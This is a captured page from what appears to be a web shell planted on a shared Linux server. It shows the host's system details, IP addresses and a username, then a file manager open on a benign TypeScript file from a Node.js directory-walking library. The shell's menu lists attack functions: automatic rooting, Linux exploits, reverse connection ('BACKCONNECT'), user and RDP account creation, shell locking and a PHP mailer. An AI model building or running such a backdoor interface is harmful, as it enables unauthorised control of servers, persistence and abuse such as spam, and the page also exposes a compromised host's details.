Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
@nodelib /
fs.walk /
src /
providers /
[ HOME SHELL ]
Name
Size
Permission
Action
async.spec.ts
1.59
KB
-rw-r--r--
async.ts
1.13
KB
-rw-r--r--
index.ts
171
B
-rw-r--r--
stream.spec.ts
2.38
KB
-rw-r--r--
stream.ts
829
B
-rw-r--r--
sync.spec.ts
975
B
-rw-r--r--
sync.ts
385
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : async.ts
import AsyncReader from '../readers/async'; import Settings from '../settings'; import { Entry, Errno } from '../types'; type FailureCallback = (err: Errno) => void; type SuccessCallback = (err: null, entries: Entry[]) => void; export type AsyncCallback = (err: Errno, entries: Entry[]) => void; export default class AsyncProvider { protected readonly _reader: AsyncReader = new AsyncReader(this._root, this._settings); private readonly _storage: Set<Entry> = new Set(); constructor(private readonly _root: string, private readonly _settings: Settings) { } public read(callback: AsyncCallback): void { this._reader.onError((error) => { callFailureCallback(callback, error); }); this._reader.onEntry((entry: Entry) => { this._storage.add(entry); }); this._reader.onEnd(() => { callSuccessCallback(callback, [...this._storage]); }); this._reader.read(); } } function callFailureCallback(callback: AsyncCallback, error: Errno): void { (callback as FailureCallback)(error); } function callSuccessCallback(callback: AsyncCallback, entries: Entry[]): void { (callback as unknown as SuccessCallback)(null, entries); }
Close